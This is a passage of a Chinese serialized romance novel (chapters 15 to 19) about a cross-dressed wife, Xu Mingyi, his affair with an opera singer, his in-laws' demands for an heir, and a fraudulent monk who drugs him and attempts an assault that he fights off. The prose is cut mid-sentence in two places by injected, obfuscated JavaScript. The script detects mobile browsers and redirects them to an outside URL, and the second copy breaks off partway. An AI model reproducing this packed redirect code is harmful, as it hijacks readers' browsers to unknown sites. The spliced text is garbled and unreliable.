将睡未睡之际,许明意迷迷糊糊地想到了闻鹤来,他想,闻鹤来会想他吗?要是闻鹤来知道他病了,会不会想看来看他? 闻鹤来和许明意之间隔着鸿沟天堑,二人是春风一度,露水姻缘,不得长久。闻鹤来这两日还当真有些想许明意,想他鲜活美妙的□□,想他和自己的耳鬓厮磨,还有他信赖的,如抓浮木的眼神。 闻鹤来和于郑议完事,已经是夜半三更了,他着人送于郑去休息,抬手端过桌上的冷茶一饮而尽。小叶子见了,道:“闻爷,茶水已经冷了,我再给您泡一壶?” 闻鹤来摆了摆手,懒洋洋地坐在太师椅中,他说:“不喝了,喝了睡不着。” 不饮茶,闻鹤来目光落在桌面的一盒烟上,他爱惜嗓子,鲜少抽烟,这一刻竟无端有些意动。他捻了根凑鼻尖闻了闻,问小叶子:“这两日没去戏班里,没出什么岔子吧?” 小叶子笑道:“没呢,咱们戏班子能出什么岔子。” 闻鹤来道:“太平茶楼呢?” 小叶子微愣,旋即反应过来,说:“许姑娘也没来过,”小叶子并不知道许明意的正式身份,只不过瞧“她”那身装扮,猜出是嫁了人的,可闻鹤来谁都不吝,他一个下人自也不能多说。 闻鹤来哼笑了声,盯着桌上的貔貅摆件却走了神,他突然想起许明意那日来见他时,身上未褪的情欲痕迹——张靖遥留下的。许明意是张靖遥的太太,二人再如何亲密都不为过,闻鹤来本该不在意,可不知怎的,今日想起,心中依旧会生出几分不悦。 这个时候,许明意在做什么? 睡了么?还是会和张靖遥颠鸾倒凤?他闭上眼,脑海中不自觉地浮现许明意满面情潮的模样。穿上衣服的许明意端庄温顺,可脱了衣裙,染上欲望,便似桃蕊绽放,艳色逼人。他有种天生就会讨男人喜欢的本能,无论是有意还是无意——而这,正是由闻鹤来一点一点教会他如何使用这种本能。 如今许明意大抵会用这种本能去讨好他的丈夫,闻鹤来一想到这儿,心头就蹿起一股火,他将烟点燃了,深深地抽了一口,慢慢才将烟圈吐了出来。 小叶子说:“闻爷,您要和郑爷回去吗?” “回去做什么?”闻鹤来微微眯起眼睛, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15887519|176441||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 随意道,“老头子不是还活着吗?只管让他们斗去。” 小叶子应了声。 转眼中秋过去,九月将近,秋意就悄无声息地潜入了四九城。 这是一家法国餐厅,新开的,许明意和闻鹤来一道来尝鲜。自客栈一别,二人已经足有半月不曾再见了,许明意去太平茶楼时正好逢着闻鹤来一曲戏罢,索性便出了茶楼,坐着马车来吃饭了。 许明意鲜少来洋人餐厅,闻鹤来却是轻车熟路,他这人好新鲜,对洋人的时髦玩意儿也颇喜欢。 细细算来,许明意认识闻鹤来之后,做了许多想也不曾想过的事情,跑马,影戏——闻鹤来喜欢的东西多,对身边人也不吝啬,他知道许明意回了张家就得待在后宅,不干那事的时候,二人就如同一对时下最新潮的恋人,约会玩耍。 说起跑马,那是二人相识不久,出了城,原本是打算去上香的,许明意总借口去寺庙,总要去庙里沾沾香火。闻鹤来见天气好,便打发走了车夫,自己驾着车带着许明意去了西郊。 拉车的马是好马,闻鹤来那日手把手教许明意骑马,他精通骑术,又有耐心,二人一边调情一边骑马,别有一番情趣。 闻鹤来不是头一回来洋人餐厅,二人也认识有些日子了,他知道许明意的口味,便按着点了。许明意有些好奇地看着四周,闻鹤来瞧着他笑,突然,说:“清减了。” 许明意一怔,抬起眼,就撞入闻鹤来专注的目光中。许明意心思重,病过一回消瘦了几分,后来也没养回去,没想到竟让闻鹤来一眼看破。 许明意抿了抿嘴唇,道:“前些时日得了风寒,病过一场。” 闻鹤来道:“如今可好了?” 许明意点头道:“都好了,养养便回去了。” 闻鹤来端详着许明意的脸色,他原本以为自己能看透许明意这个人,他对自己的心意也是十拿九稳,不知为什么,今日再见,闻鹤来竟罕见的敏锐地感受到了一种没着没落的感觉。 有那么一时半刻,闻鹤来竟觉得,许明意好像也没有他所想的那么喜欢自己。 闻鹤来轻声说:“明意,你这些日子,过得好吗?” 许明意看着闻鹤来,想了想,道:“有什么好不好的,不过是那么回事儿。” 他语气平静,闻鹤来探究地看了他好一会儿,却也看不出个所以然。二人在餐厅里用过饭,闻鹤来牵着许明意的手朝前走,已经有了些微凉意,干燥的手指交握着,许明意透过薄纱,看着那双交握的手,莫名的,又生出一种回到闻鹤来的爱意中的感觉,温暖得让人贪恋。 许明意突然开口道:“这些日子,张靖遥对我……还算不错。” 闻鹤来愣了一下,转头看着许明意,许明意却没有看他,只是看着前头宽敞的长道,来四九城这么久了,他依旧不认得四九城的路。他在四九城里走过的街道,大都是闻鹤来带着他走的。 闻鹤来说:“明意,你这是什么意思?” 许明意眼中掠过一丝迷茫,说:“我不知道……” 闻鹤来心中却陡然生出一股子恼怒,和连自己都不曾发觉的嫉妒,这种爱情游戏他不知玩过多少回,这是头一遭,有人在他与别人之间,想选择别人。 闻鹤来扯了扯嘴角,道:“所以,明意,你是想和我划清界限?” 许明意偏头看着闻鹤来,他摇摇头,道:“我不知道。” “张靖遥是我丈夫,他回头了,眼里有我,我本来觉得我会很高兴的,”许明意说,“可不知道为什么,我并没有如我所想的那么高兴。” 闻鹤来心头又是一松,他伸手摸了摸许明意的脸颊,说:“因为你不喜欢他了。” 许明意仰头看着闻鹤来,道:“那你喜欢我吗?” 闻鹤来微微一笑,道:“自然。” 许明意说:“有多喜欢?” “闻鹤来,若是有朝一日,你要离开四九城,你会丢下我吗?” 16. 第 16 章 许明意那句话问出了口,其实并未想过能得到闻鹤来说愿意带他走的回答,可就算这样,闻鹤来当真不言时,许明意心中还是不可避免地失落。 他永远不会被选择,早就明白的,又在奢想什么? 闻鹤来与他,本就是春风一度。 闻鹤来也没想到许明意会突然问出这句话,许明意的敏锐和直白都超出了他的预料,这实在是一个聪明又清醒的人。和闻鹤来以往见过的,那些轻易就身陷爱欲不可自拔的人不同,许明意的聪明似乎更让人心动。他本有许多法子可以将这话揭过去,可对上许明意目光的一瞬间,不知怎的,闻鹤来竟说不出那些本该信手拈来的甜言蜜语。 闻鹤来的确从未想过带许明意走,不论是带他出张家,还是出四九城,在此之前,他都没有想过。他和许明意之间就是一桩露水姻缘,你不知我是谁,我不管你是谁,求的是一时欢愉,谁会想长久?又不是三岁孩童,还信这种逢场作戏的鬼话。 二人之间头一次沉默了下来,有些尴尬的意味,可很快就被许明意打破了,许明意抬头看着天,说:“天色晚了。” “我该回去了。” 闻鹤来看着他平静的样子,不知怎的,心像是被捏了一把,有种模模糊糊的不安感。许明意若是纠缠不休,黯然落泪,反倒显得理所当然,可他不哭不闹,只是转移了话题,平淡得好似不曾问出口,不曾有过期待,闻鹤来又觉得不痛快。其实这样也好,许明意是个聪明人,日后当真断起来,就不会多做纠缠。可闻鹤来心里就是飘飘荡荡的,如同浮在海上的木头,沉不下去,也拿不上来——人都容易犯贱,爱你时担心对方纠缠,不爱时又不甘心,不痛快,想,你怎能不爱我? 这世上哪有这样的好事,事事都你说了算。 那时的闻鹤来并不明白。在爱情的游戏里,他一直是胜者,在他这二十余年里,纵然吃过苦,等着他的也是众星捧月,他没尝过输家的滋味。闻鹤来也不明白,他这时若是说出一句他愿意带许明意走,即便是假话,许明意也会动容,甚至会相信他。 许明意当真愿意抛弃所有跟他走,不计生死。 闻鹤来说:“我送你。” 许明意摇摇头,道:“路不远了。” 若是换了以前,闻鹤来说不得要再腻腻歪歪一阵,将许明意哄上一哄,可看着许明意,那些话又莫名地说不出口。不过须臾,许明意已经越过他,朝前走了。 闻鹤来下意识地叫住他,“明意。” 许明意脚步顿住,闻鹤来心里没来由的有些发慌,他走快了几步,抓住许明意的手,低声道:“我陪你吧。” 许明意垂下眼睛看着闻鹤来的手,他想,为什么要如此?既然无情,何不无情到底,偏又要因着自己那点私欲,一而再再而三地给他希望? 在那一瞬间,许明意心中涌上一股强烈的怨恨,他直直地看着闻鹤来,薄纱垂落,遮住了他脸上淡漠阴郁的神情。 许明意应道:“好啊。” 说罢,勾住了闻鹤来的手,闻鹤来心头微松,攥住了许明意瘦长的手指,好似情深义重一般。 许明意嫁进张家已有近一年了,他和张靖遥不是没有行房事,尤其是近来越发频繁,可许明意的肚子仍旧没有动静。张家二老虽不说,可心里却已经着急了。 自张靖遥和他们说,他喜欢男人,对女人不行始,就在张家埋下了一颗炸药。彼时张家二老不信,哪有男人对女人不成的?玩戏子归玩戏子,这也不是什么新鲜事,和对女人不成,无法传宗接代,捧戏子就是小得不能再小的事了。张家丫鬟多,不乏签了卖身契的,就连张靖遥房内都有两个眉清目秀的丫鬟,是给张靖遥备着的通房丫头。 这是大宅院的陈年旧俗,老规矩了。 可这么多年,张靖遥愣是不看一眼,早些年张老爷还颇感欣慰,不好女色是好事。可张靖遥年岁渐长,对婚事三推四阻,这就不成了。 那事儿闹出来后,张家日日阴霾罩顶,张靖遥眼不见为净,索性日日不着家,后来是被张夫人拿病诓回来的。母子二人还小酌了几杯,算是冰释前嫌,没成想,当天晚上,张靖遥迷迷糊糊地将睡未睡之际,就发觉一具赤条条的身子爬进他被中,游蛇似的,张靖遥下意识地伸手摸了一把,触手滑腻,硬是给惊醒了。 旋即就是一具玲珑的女体撞入眼中,张靖遥酒意顿时就惊散了,那丫鬟是得了令的,也想借这个机会往上爬,自是百般引诱。 后来张靖遥毫无反应不说,还大发了一通脾气,张家二老这是不信也只能信了。 虽说不是全信,可也信了大半,这可怎么办呢?后来没办法之下,就有了张靖遥和许明意这桩婚事,张家二老也不得不允许一个不知是男人还是女人的东西成为张家大少奶奶。 到底不是全乎的女人,虽有前朝御医查探过,道是许明意能生子,可他身子忒特殊,张家二老都没底。这点没底随着时间的流逝,许明意的不孕,慢慢变成了对许明意的不满。 许明意到底能不能生? 莫不是当真被大夫和许家摆了一道? 张夫人心细,自是发觉了这些时日张靖遥对许明意逐渐软化的态度,要是张靖遥接受了许明意,偏许明意又是个不能生的,那岂不是又是一桩麻烦?说白了,张家之所以选中许明意,是因为他那特殊的身体,他能生,他如果不能生,张家根本不会接纳他。何况,便是他当真能生,在张家二老心里,许明意都不足以成为张家的大少奶奶。 “如何?”张夫人问大夫。 一场秋雨过后就入了秋,许明意这几日食欲不佳,吃了几筷子鱼肉,饭后还吐了,张夫人眼睛却亮了,忙不迭地找人传来了大夫。 大夫一直给张家人请平安脉,心里清楚张夫人在问什么,他摇了摇头,道:“大少奶奶只是有些肠胃不适。” 张夫人面色一下子沉了,目光落在许明意平坦的肚子上,有些阴晴不定。 那眼神如刀,许明意藏在袖中的手紧了紧,他知道张家二老想抱孙子已经想疯了,他们急切地需要一个孩子,来拂散张靖遥喜欢男人这件事带来的阴霾。 前几日,张夫人不但请风水先生来堪舆,在他们院子里好一阵动土,还还着人将他们卧室的床的朝向改了,道是床朝阳,能生男孩儿。张靖遥虽有些不耐,可于他而言,这些事不算什么大事,也就没放在心上。何况他这些时日忙极了,阎玉山进了京,京中局势不明,政局素来是牵一发而动全身,张靖遥也抽不开身。 许明意日日待在府上,冷眼看着张家请进来的老仙师握着八卦盘在屋子里转来转去,张夫人也陪在一旁,他听着他们张口子嗣,闭口孩子,几乎泛起恶心来。当初那碗符水被张靖遥打碎了,张夫人并未死心,最后还是挑了一个张靖遥不在的时候,让许明意喝下了。 可那碗符水汤并没有让许明意怀孕,反而闹了几天的肚子,之后张夫人又寻了其他偏方,对许明意道,都是为了他们好。 许明意沉默以对。 在很久之前,许明意刚嫁给张靖遥的时候不是没有过怀孕的想法,也许怀孕了,一切就不一样了。可走到今日,许明意倒是庆幸不曾怀孕了,无论这是因着他怀不上,还是时机未到。 就算怀上了孩子,也改变不了任何东西——张靖遥不会喜欢他,张家人不会善待他,他在他们眼里,只是一个生孩子的工具。 许 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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有时张靖遥甚至觉得,在许明意羸弱的皮囊下,蕴藏着让人胆寒的狂风暴雨。可再深究,又觉得这个念头实在荒谬,一个女人——能做什么? 许明意似乎察觉了张靖遥的想法,牵了牵唇角,他说:“这是你娘拿来的,说是让你我一起看。” 张靖遥走近了,好奇地翻了开去,顿时窘迫不已——薄薄几页纸,道是春宫图也不为过,可细看之下,方发现上头绘的精细的大都是下位者,讲究一个受孕的姿势。 张靖遥讷讷不言。 许明意却不再管他,翻身上了床,道:“我乏了。” 张靖遥看着许明意背对他的身影,愣了下,过了片刻,将那本册子丢在一旁后便上了床。过了好一会儿,张靖遥突然开口道:“我娘她只是有些心急,明日我便去和她说。” 许明意没睁眼,道:“说什么?” “你娶我,本就是为了生孩子。” 张靖遥微怔,他险些忘了他们的初衷,本就是为了延续香火,他斟酌道:“此事本就急不得……” 许明意说:“如果我生不出孩子,你娘要你休了我,张靖遥,你当很高兴吧。” 张靖遥听着他平静的话,抬起眼,想看许明意此刻的神情,许明意却闭着眼睛,窥探不出他的喜怒。张靖遥想,休了许明意……高兴吗?张靖遥猛地发觉,他好像,并没有很高兴。可这些话,张靖遥一时间也说不出来,便是自己也没理清个头绪,心里还有些乱。 休了许明意有什么不好?都得解脱。 可为什么不高兴呢? 许久,张靖遥道:“过几日,李司长要在府上设宴,你和我一起去。” 17. 第 17 章 李司长府上的宴尚未到,过了两日,张太太道是要去庙里上香,吩咐许明意陪她一起去。许明意心中有些不愿去,若非张靖遥实在不喜欢女人,张夫人根本不会接纳许明意,她一直盼着许明意能怀上张靖遥的孩子,可许明意肚子没动静,她的耐心也在慢慢消磨殆尽。 许明意有时觉得她看着自己肚子的眼神像一把冰冷的刀,好似要剖开薄薄的肚皮,取出里头的东西,好教她塞进一个孩子进去。 许明意愈发觉得毛骨悚然,他当真不愿面对张夫人。 可张夫人看着慈眉善目,实则根本不容许明意有任何悖逆她的地方,就如同那碗符水。即便是被张靖遥泼了,她要许明意喝,便容不得他不饮。 张夫人和许明意同坐一辆马车,车马声辚辚,缓缓出了四九城。许明意有些忐忑,他揭开帘子往外瞧,小声说:“娘,这不是去寺里吧?” 张夫人捻着佛珠,随口应了声,道:“今日娘带你去见一见青羊大师。” “青羊大师道行高深,三月前李太太带着她媳妇去求见了青羊大师,由大师亲自施法,不过月余,李家少奶奶就怀孕了。” 许明意愣了下,又是怀孕,那两个字入耳,他有些反感,甚至有点恶心。怀孕怀孕——他在这些人眼中,大抵和牲畜一般无二。他失了兴趣,恹恹地靠在了车厢上,不再开口,至于她所说的青羊大师,许明意根本不信。他记得张夫人带回来的符纸便是自他手中得来的,要他这般灵,他早怀上了。 何况要是真有这等神人,只怕早就让人趋之若鹜,捧上神探。 那青羊大师就在一间古刹里,古刹有些年头了,张夫人和许明意一下马车,便有那青羊大师的弟子迎了上来。古刹中老木掩映,透着股子清幽雅致,衬得面目清秀,着素白长衫的弟子,很有些仙风道骨。许明意默不作声地跟在张夫人身后,张夫人显然不是头一回来了,那弟子朝张夫人见了礼,微微笑道:“师父已经等候多时了。” 张夫人合掌,虔诚道:“劳大师久候。” 弟子:“师父已经布好祭坛,吩咐夫人来了之后,请您去禅房坐禅耐心静待,由我将少奶奶带过去。” 张夫人对他所说的话深信不疑,闻言叮嘱许明意道:“能得青羊大师亲自施法,是旁人求都求不来的,九娘,你可机灵些。” 许明意没来由的有点儿不安,他抬头看了看张夫人,到底是低低地应了声。 许明意跟着那弟子穿梭过朱红的长廊,慢慢走入古刹腹地,树林蓊郁,日头稀稀落落地穿过茂密的枝叶撒下斑驳光影,徒添了几分幽静。许明意路过一面墙时,只见墙上墙皮已经掉落,隐约可见是佛门的十八地狱,阎罗威严,罗刹凶恶,别有一番阴森森的冷意。 过了一会儿,那弟子引着许明意进入了一个院落,临到门边时,他对许明意道:“大少奶奶,还请闭上眼睛。” 许明意疑惑地看了他一眼,弟子手中捧着一条三指宽的白布,说:“师父稍后要请神,我等肉体凡胎是不能看的。” 许明意目光落在他手中的白布上,沉默了片刻,抬手要拿时,弟子道:“由我来代劳吧。” 他面上露出笑意,那是一张很清秀的面容,带了笑,无端的就能让人放下戒心,若是换了寻常深闺姑娘,只怕要羞得脸颊泛红。可许明意不是姑娘,看着这人,他心中反倒多了几分警惕。许明意摇了摇头,伸手拿过了那条白巾,遮住眼睛系在了自己脸上。 他蒙住了眼睛,露出精巧的下半张脸,更显得嘴唇红,下颌线条流丽漂亮。那弟子的目光在他面上流连了一会儿,突然伸手握住了许明意的手臂,在他要抽回去时,温声说:“我带您进去。” 许明意忍了忍,没做声。 他双眼不能视物,步入屋内,只闻得屋中点了香,味浓,似檀香又多了几分甜腻。那弟子让他坐在一张蒲团上,收回手时,不知是不是错觉,许明意竟觉得对方有意无意地碰了碰他的手指,那触感让许明意一个激灵,仿佛被毒蛇的蛇信子舔了一口似的。 弟子俯身对许明意说:“大少奶奶稍待片刻。” 许明意听着他的脚步慢慢远去,有开门声,又关上了,屋内顿时安静了下来。许明意下意识地想揭了面上的白巾,手将抬起又顿住,他听见了屋内有窸窣的声音,伴随着一道浅浅的呼吸声。 许明意抿了抿嘴唇,又将手放了下来。 黑暗中感官愈发敏锐,许明意听到了低低的吟唱,伴随着铃铛的清脆声,那声音含含糊糊的,教人听不清他到底念了什么。许明意心一下子悬了起来。 近了! 男人的脚步声,踏着步子,当真是在做法一般,他绕着许明意缓缓转着圈,有几滴水洒在许明意身上,或有溅在他脸颊上的。许明意偏头想躲,男人道:“且住,这是上天赐下的甘霖,可驱除邪祟,伐筋洗髓。” 许明意嘴唇抿得更紧,僵着没有动作,铃铛声伴随着吟唱声入耳,不知怎的,许明意竟觉得自己有些昏沉沉的。 冷不丁的,一只手搭在了他的腕上,许明意反应迟缓,竟好似没有发觉一般。那只手挑开了他的袖口,落在那截纤瘦白皙的腕上,指头是粗糙的,徐徐地摩挲着,许明意被这唐突冒犯的触碰激得起了一身寒毛,竟清醒了几分。他想甩开那只手,可身上却有些乏力,好似疲惫极了。 许明意心中警铃大作,他竭力咬了咬舌尖,只觉那只手已经探向了他的脖颈,一具身体也贴了过来,夹杂着浓郁的甜腻熏香,入鼻让人欲作呕。 许明意又惊又怒,这哪里是什么大仙,分明就是个江湖骗子,是个色胚淫棍! 一颗圆润的碧玉扣,两颗——许明意蓄了许久的力气,在对方要将他抱入怀中时,突然用力将那所谓的青羊大师重重推了开去。对方毫无防备,没想到他竟还有这样大的力气,直接后坐摔了个屁股墩。许明意踉踉跄跄地爬了起来,一把揭开了面上的白巾,那青羊大师的真面目也落入他眼中。 是个清瘦的男人,约莫四五十岁,蓄了须,穿着宽宽大大的道袍。 青羊看着犹在挣扎的许明意,施施然地站了起来,掸了掸袍子,微笑道:“是不是感觉腿软乏力?” “乖,别挣扎了,只当睡一觉,”他说,“睡一觉就好了。” 许明意看着对方虚伪无耻的神色,他显然不是头一个进入这间屋子的 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青羊说:“再说了,你如今这副样子,要是把人引过来,你要如何向他人交代?” 许明意不说话,他又勉力退了几步,转身就要朝外跑去,可他熏了那迷香已久,自是浑身乏力,身后青羊已经扑将过来。他虽已上了年纪,可常年跑江湖,有些底子,在许明意挨着门时,已经抓住了他的肩膀。 青羊在他耳边说:“你跑啊,你不是想跑吗?” 许明意焉能就此认命,他拼死挣扎起来,青羊竟一下子拿他不住,二人在地上翻滚了几圈,最终,许明意被死死地压在地上。 青羊也有些恼怒,他喘着气,恶狠狠地盯着许明意,仿佛是为了故意羞辱他一般,用力扯开了许明意的衣襟。 下一瞬,一张凳子重重砸在了青羊的脸上,一声惨叫随即而出。 许明意趁势爬了起来,他紧紧地攥着凳腿,掌心已经被指甲掐出了血,渗出点点血迹。他垂下眼睛,看着捂住脸颊哀叫的青羊,眼也不眨又用凳子砸在了他腿上,他转头寻着了香炉,直接打翻在地,狠狠碾灭了引子。 青羊教他两凳子砸得失了色心,瞪大了眼睛,看着提着鼓凳,慢慢朝他走近的许明意,不由得哆嗦了一下,说:“……你想干什么!” “我告诉你,杀了我,你也完了!” 许明意看着他狼狈不堪的模样,不知为什么,竟意外的冷静,他拿一只手慢慢系着自己的衣襟,轻声说:“青羊大师,你很喜欢拿这套来逼迫女人吗?” 青羊哆哆嗦嗦道:“你将鼓凳放下,我让你离开,今日之事就当没发生过,我不会向张太太提起……” 许明意没说话,他却只当说动了,道:“真的,我一定不会对任何人说起,没有人知道这屋子里发生的事,你丈夫也不会知道……” 许明意抬起头,静静地看着青羊,他厌恶透了这套说辞,是他险些受辱,凭什么这个施暴者还敢恩赐一般说出这样的话? 许明意又走近了几步,他俯下身,看着青羊那张被鼓凳砸得流血红肿的脸,说:“你敢说吗?” 话刚落下,他就拿着鼓凳朝他□□狠狠砸了下去。 “你去说啊!” 18. 第 18 章 那一记砸将下去,青羊痛得惨叫一声,生生痛昏了过去。许明意攥着凳腿的手却在不自觉地发颤,他喘着粗气,目光触及道人那张惨白的面颊时,癫狂的神智倏然回笼,他慌得后退了两步,手中的鼓凳也掉在了地上,发出重重的一声闷响。 许明意也哆嗦了一下,险些软在地上。 ……死了吗?他杀人了? 虽恨不得将这无耻之徒千刀万剐,可真真是自己杀了人,却又是另一回事。到底是头一遭发生这样的事,许明意乱得厉害,心中又怨又慌,怨这不知从何处冒出来的青羊,怨张家,张夫人……他想逃,可又能逃到哪里去? 许明意神经质地咬住了自己的指骨,咬疼了,脑子里反而清醒了几分。他直勾勾地盯着地上的人,过了好一会儿,才冷静了几分,许明意弯腰伸手探了探他的鼻息——还有气! 青羊没死! 许明意一时间不知是庆幸还是遗憾,这畜生当真是命大。他竭力使自己冷静下来,屋中没有镜子,他伸手理了理衣裙,又捋了捋鬓发,过了一会儿,才推开门朝外走了出去。 青羊的院子果真没人守着。此事见不得人,青羊根本不敢让太多人知道,何况他们刚才的动静那样大,要是有人守着,早就闯进去了。许明意低着头,脚步匆匆不敢再停留,出了院子,走得远了些,他心中稍定,倏然一记声音传了过来,“大少奶奶?” 许明意吓得一个激灵,抬起头,就见将他带进来的年轻弟子正看着他,面色微带疑惑,似乎没想到他竟然出来得这样早。那弟子目光落在他衣襟上,上头少了一颗扣子,他脸上露出几分暧昧,逡巡着许明意纤长的脖颈。 许明意眼睛发红,又羞又怒还有些仓惶地瞪了他一眼,如同受辱一般,别过脸就朝外跑走了。 他这般模样,反倒打消了弟子心中的怀疑,这是让他师父得手了。他有些惋惜,又有些心痒,倒是可惜,跑得早,若是还昏着,说不得还能让他玩一玩……这么想着,那弟子又觉得哪里不对,他沉吟了片刻,想起许明意离开时的神情,猛地反应过来,不对——青羊房中烧了迷香,他知道那迷香的功效,许明意方才的模样分明不似被迷香迷透。 弟子面色微变,拔腿就朝青羊房中跑去。 那厢许明意并未想过能瞒多久,无论青羊是生是死,他们都不敢声张,毕竟他打伤的是青羊下身,一旦闹大,曾经被他们愚弄欺骗的人不会放过他们。 可不怕一万,就怕万一。许明意寻着张夫人时,她正在佛前念经,手中拨着佛珠,很是虔诚的模样。许明意没来由的犯恶心,佛口蛇心,不外如是。如果他不是心怀戒备,又是男人,体力远胜寻常女子,今日只怕也不能脱身。 自此一生都将蒙上阴影,再抬不起头。 许明意袖中的手紧了紧,指甲刮着掌心的伤口带了些微刺痛,让他稍稍冷静了几分,“娘。” 张夫人停了念经,抬头诧异地看着许明意,说:“法事做完了?” 许明意垂下眼睛,轻轻“嗯”了声,道:“青羊大师施法之后先去休息了,让我们自行离去。” 张夫人也没有多想,点了点头,道:“也好。” 说罢,在下人的搀扶下起了身,她吩咐身边人,道:“将香油钱给小师父。” 下人自是应是。 古刹外,许明意和张夫人回到马车上,将离开时,许明意打开车窗,看着那座掩映在青山古木间的古刹,心有余悸,又厌恶至极,若是可以,他恨不能一把火将这座古刹点了。 这等地方,留着还不知要戕害多少人。 突然,几个人匆匆地从古刹中跑出来,为首的正是青羊的大弟子,他面上露出掩饰不住的惊怒,可又有所忌惮,不敢上前阻拦马车的离去。 许明意和那大弟子目光相对,看着那张因愤怒变得不再从容,反而狰狞如野兽的面容时,想,世上的虎豹豺狼无不凶恶贪婪,欺软怕硬,只有真正教它吃了疼,让它流血,让它怕,它才会生出畏惧,色厉内荏地龇牙咧嘴,涎水横流也不敢妄动。 许明意牵了牵嘴角,露出一个嘲弄冰冷的笑容。 青羊的大弟子看着许明意面上的笑,仿佛窥出了他的轻蔑嘲讽,面皮一下子胀得通红,可想起青羊鲜血淋漓的下身,又打了个寒颤。 张靖遥并不知道古刹中发生的这一出,那夜他忙于公事,回去时,许明意已经睡下了。 张靖遥看着床上的人,突然想起,他们成亲之后的很长一段时间里,无论多晚回来,房中都是亮着灯的。 许明意会等他。 他梳洗罢,轻手轻脚地上了床,分明已经很是疲惫了,可张靖遥脑中仍旧没有丝毫睡意。许明意侧着身,微微蜷缩着,背对着他,张靖遥看着他散落的长发,过了好一会儿,伸手轻轻抚着许明意柔软的发丝。他勾了一绺,绕在指头,轻轻把玩着。 突然,那绺发丝自张靖遥手中抽了出去,许明意已经转过了身,那双眼睛冷冷淡淡地看着张靖遥。 如同做坏事被逮了个正着,张靖遥僵了僵,有点儿无措,所幸屋中不亮,足以掩饰一二,他干巴巴地说:“吵……吵醒你了?” 许明意没说话,盯着张靖遥,他能觉察到张靖遥这些日子对他有意无意的亲近,停留在他身上的目光也越来越长,是如闻鹤来所说,对付邻春求而不得,所以退而求其次? 如果早在二人将成亲时,张靖遥对他有这样的一分好脸色,说不得他便感激涕零了——可偏偏现在他已经厌恶极了做许九娘,他不想再做许九娘,不想做什么张家大少奶奶。 他是许明意。 一个极危险的念头在许明意脑海中破土而出,不可遏制地翻腾着,许明意说:“张靖遥,如果你娘让你休了我,你要如何?” 张靖 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张靖遥本想说怎会不容他,又猛地想起许鸣意特殊的身体,许明意说:“许家不需要一个阴阳之体的少爷,张家更不会要一个这样的少奶奶,你的孩子,也不会需要一个这样的母亲。” 许明意这番话说得极其冷静,却又残酷至极,彻底撕下了笼罩在他们这桩婚事上的遮羞布,袒露出张家煊赫华美之下的卑劣、狭隘和无耻。 张靖遥倏然坐起身,恼羞成怒地盯着许明意,道:“那你想如何?” 许明意静静地看着张靖遥,说:“我不想如何,我能如何?” 张靖遥胸腔里烧了团火,脸上火辣辣的,他如被戳中要害的野兽,攥着拳,压低声音道:“许家应下这门亲事时难道不知道?你嫁来四九城时,难道不清楚?!” “如今摆出这副怨天尤人的模样给谁看!” 许明意恍了下神,是啊,许家知道,其实……他也不是不明白。 只是懦弱的人总爱心存侥幸,想着万一呢?万一上天怜悯他,不至如此苛待于他——不到退无可退,身处绝境就不会明白,上天又怎么会怜悯一个连自己都欺骗,永远将希望系于他人身上的人? 话说出了口,张靖遥便后悔了,许明意说许家不需要一个阴阳之体的少爷,便足以说明许家根本不看重他,一个家族弃子,又能如何? 少爷……少爷,许明意在许家,是男儿身? 只是因为要嫁给他,才做了女人? 一念及此,张靖遥呼吸一窒,几乎喘不过气,竟不敢细想其中到底发生了什么。 张靖遥涩声道:“……九娘。” 许明意开口道:“你说得对,许家清楚,我也明白。” “都是明白人,那又何必再糊涂下去?” 张靖遥心中没来由的发慌,许明意却已经转过身,背对着他,不想多说了。 19. 第 19 章 李公馆。 李司长是京中高官,他办宴会,不乏四九城里有头有脸的人来赴宴。李公馆内灯火通明,丝竹声不绝于耳,公馆外车辆络绎不绝,西装长袍交织着,在灯影里俨然一出新旧错乱的迷梦。许明意跟着张靖遥来到李公馆时,李公馆内客人已经不少,张靖遥亦是京中显贵,认识他的人颇多,见了面,都笑吟吟地打上一声招呼。许明意安静地跟在张靖遥身后,他眉眼秀丽,施过妆,身上穿的是旧式的衣裙,耳边戴着白玉坠,显得秀美沉静,透着和时下宣扬的摩登新潮格格不入的沉静端庄,画儿似的。 张靖遥那副皮囊生得好,西装革履,和许明意站在一处倒也登对,俨然一对璧人。 许明意对这样的场合不陌生,这也不是他头一回和张靖遥出席这样的宴会,从前他极力想做好张大少奶奶,唯恐丢了张靖遥的脸面,抑或教人看出他裙底下那双属于男人的脚,男人的身份,总是战战兢兢,如履薄冰。如今宴会还是那样的宴会,心境却迥然不同。大抵是看多了戏,他看这满目的浮华,竟也如同看一出戏,只不过他是冷眼旁观的看客,不再竭尽心力妄图登场。 自那夜过后,张靖遥和许明意没有再好好说过话,张靖遥那话说完就懊悔了,可他哪里是能够弯下腰向许明意道歉的性子,索性就冷了脸,可张靖遥心里却愈发不痛快,许明意气性是越发大了,不过几句话就冲他使性子,闹脾气——偏偏张靖遥竟不怎么生气,只是有些心堵。 有时他想,不如和许明意开诚布公地谈一谈?谈什么呢?张靖遥后来也寻过他母亲,和她说子嗣之事急不来云云,张夫人一听,将目光投向他,和声和气地问,“靖遥,这话是九娘让你来说的?” 不知为什么,在那样的目光下,张靖遥竟觉出了几分让人喘不过气的压迫,愈发不耐,说:“我自己想说的,娘,我不过二十二,您怎么就那么急,非得逼着现在要子嗣?” 张夫人笑了,道:“你爹在你这个年纪,你都能满地爬了。” 张靖遥拧着眉毛,说:“今时不同往日,娘,您就别管我们的事了,要不要子嗣也不是九娘说了算的。” 张夫人说:“可他一个女人,不能为你生儿育女,要来何用?” 